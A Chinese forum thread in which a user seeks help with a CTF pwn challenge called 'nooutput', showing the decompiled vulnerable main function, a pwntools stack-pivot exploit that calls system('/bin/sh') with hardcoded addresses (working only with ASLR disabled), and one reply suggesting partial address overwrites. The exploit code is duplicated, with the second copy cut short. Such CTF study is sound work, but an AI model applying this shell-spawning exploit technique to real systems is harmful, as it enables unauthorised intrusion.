首页
社区
课程
招聘
[讨论][求助]最近的一次工业互联网竞赛的pwn题 nooutput
发表于: 2020-10-27 10:23 6447

[讨论][求助]最近的一次工业互联网竞赛的pwn题 nooutput

2020-10-27 10:23
6447

IDA反编译结果:只有8个字节的溢出位,只能覆盖EBP和返回地址,看来是要栈迁移

如果利用一次leave ret把ESP迁移到BSS,那么也没有机会在BSS上写好栈内容! 所以不知道怎么做。请教各位大佬有没有什么办法。
下面是非正解:把系统的ASLR关了,用固定的栈地址做迁移,在本地getshell,但是如果打开ASLR,实际情况有几个问题:1,栈地址无法获取,2.libc版本不明,3.libc_base无法获取

以上exp只能在本地关闭aslr的情况下才能生效。请大佬想想其他的思路

int __cdecl main()
{
  char buf; // [esp+0h] [ebp-100h]
 
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Sorry,but there is no output!!\nJust Input Something:");
  read(0, &buf, 0x108u);
  return 0;
}
int __cdecl main()
{
  char buf; // [esp+0h] [ebp-100h]
 
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Sorry,but there is no output!!\nJust Input Something:");
  read(0, &buf, 0x108u);
  return 0;
}
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
 
# context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
 
 
'''
ropper -f nooutput
-----------------------
0x08048514: leave; ret;
 
'''
leaveret_add = 0x08048514
 
# program module
p = process('./nooutput')
lib = ELF("/usr/lib32/libc.so.6")
 
# libc_base = lib_main - lib_start_main
libc_base = 0xf7dcd000
 
#gdb.attach(p, 'b *0x080484D5')
#gdb.attach(p,'b *0x0804850C')
 
p.readuntil('Something:\n')
 
stackAddr = 0xffffd498
 
log.info(hex(stackAddr))
 
sysAddr = libc_base + lib.symbols['system']
exitAddr = libc_base + lib.symbols['exit']
binsh = libc_base + lib.search("/bin/sh").next()
 
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exitAddr)
exploit += p32(binsh)
exploit += nops * (0x100 - len(exploit))
exploit += p32(stackAddr) #new stack top
exploit += p32(leaveret_add)
 
p.sendline( exploit)
p.interactive()
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
 
# context.log_level = 'debug'
context(arch='i386', os='linux')
# 设置tmux程序
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
 
 
'''
ropper -f nooutput
-----------------------
0x08048514: leave; ret;
 
'''
leaveret_add = 0x08048514
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 379
活跃值: (1901)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
2
只写部分地址呢,比如低 2字节, 或者低一字节
2020-10-27 14:15
0
游客
登录 | 注册 方可回帖
返回
//